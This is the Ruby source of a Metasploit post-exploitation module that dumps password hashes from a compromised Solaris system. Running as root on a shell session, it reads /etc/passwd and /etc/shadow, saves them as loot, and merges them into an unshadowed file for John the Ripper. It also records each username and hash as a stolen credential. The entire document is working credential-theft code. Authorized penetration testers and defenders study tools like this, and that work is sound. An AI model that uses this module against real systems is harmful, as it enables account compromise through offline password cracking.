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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  include Msf::Post::File
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  include Msf::Post::Solaris::Priv
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Solaris Gather Dump Password Hashes for Solaris Systems',
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        'Description' => %q{
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          Post module to dump the password hashes for all users on a Solaris System
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
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        'Platform' => [ 'solaris' ],
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        'SessionTypes' => [ 'shell' ]
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      )
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    )
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  end
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  # Run Method for when run command is issued
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  def run
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    if is_root?
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      passwd_file = read_file('/etc/passwd')
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      shadow_file = read_file('/etc/shadow')
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      # Save in loot the passwd and shadow file
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      p1 = store_loot('solaris.shadow', 'text/plain', session, shadow_file, 'shadow.tx', 'Solaris Password Shadow File')
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      p2 = store_loot('solaris.passwd', 'text/plain', session, passwd_file, 'passwd.tx', 'Solaris Passwd File')
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      vprint_good("Shadow saved in: #{p1}")
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      vprint_good("passwd saved in: #{p2}")
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      # Unshadow the files
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      john_file = unshadow(passwd_file, shadow_file)
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      john_file.each_line do |l|
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        hash_parts = l.split(':')
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        jtr_format = Metasploit::Framework::Hashes.identify_hash hash_parts[1]
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        if jtr_format.empty? # overide the default
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          jtr_format = 'des,bsdi,crypt'
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        end
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        credential_data = {
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          jtr_format: jtr_format,
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          origin_type: :session,
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          post_reference_name: refname,
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          private_type: :nonreplayable_hash,
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          private_data: hash_parts[1],
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          session_id: session_db_id,
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          username: hash_parts[0],
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          workspace_id: myworkspace_id
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        }
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        create_credential(credential_data)
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        print_good(l.chomp)
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      end
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      # Save pwd file
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      upassf = store_loot('solaris.hashes', 'text/plain', session, john_file, 'unshadowed_passwd.pwd', 'Solaris Unshadowed Password File')
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      print_good("Unshadowed Password File: #{upassf}")
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    else
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      print_error('You must run this module as root!')
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    end
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  end
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  def unshadow(pf, sf)
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    unshadowed = ''
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    sf.each_line do |sl|
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      pass = sl.scan(/^\w*:([^:]*)/).join
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      next unless pass !~ /^\*LK\*|^NP/
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      user = sl.scan(/(^\w*):/).join
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      pf.each_line do |pl|
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        if pl.match(/^#{user}:/)
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          unshadowed << pl.gsub(/:x:/, ":#{pass}:")
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        end
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      end
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    end
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    return unshadowed
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  end
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end
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